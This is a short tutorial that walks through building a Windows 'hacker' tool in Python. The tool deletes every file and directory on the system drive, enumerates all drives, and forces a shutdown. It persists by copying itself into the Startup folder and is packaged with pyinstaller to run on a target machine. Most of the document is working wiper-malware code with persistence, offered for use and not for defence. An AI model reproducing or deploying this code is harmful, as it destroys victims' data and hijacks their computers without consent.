Create a Python Hacker Tool: Auto‑Delete Files, Traverse Drives, and Shutdown PCs

Introduction

We demonstrate how to use Python to create a simple Windows “hacker” tool that automatically obtains the system drive, enumerates files, deletes them, and shuts down the computer.

Getting the system drive

import os
print(os.getenv('SystemDrive'))

The code prints the drive letter (e.g., C:).

Listing and deleting files

After obtaining the drive, we change to its root and use os.system('tree>>1.txt') to save a tree view. Then we walk the directory tree with os.walk and remove files and directories.

aa = os.getenv('SystemDrive')
os.chdir(aa + '\\')
os.system('tree>>1.txt')
for root, dirs, files in os.walk(path, topdown=False):
    for name in files:
        os.remove(os.path.join(root, name))
    for name in dirs:
        os.rmdir(os.path.join(root, name))

Enumerating all drives

import os, string
def get_drives():
    drives = []
    for p in string.ascii_uppercase:
        d = p + ':'
        if os.path.isdir(d):
            drives.append(d)
    return drives
print(get_drives())

Shutting down the system

We invoke the Windows shutdown command silently:

shutdown /f /sg
# or via Python
os.popen('shutdown /f /sg')

Copying the script to the startup folder

import shutil
shutil.copyfile('gc.py', r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\gc1.py')

Creating a BAT wrapper

A simple BAT file can launch the Python script, allowing the payload to run automatically after login.

Packaging as an executable

Using pyinstaller we can bundle the script into an EXE so the target machine does not need a Python interpreter.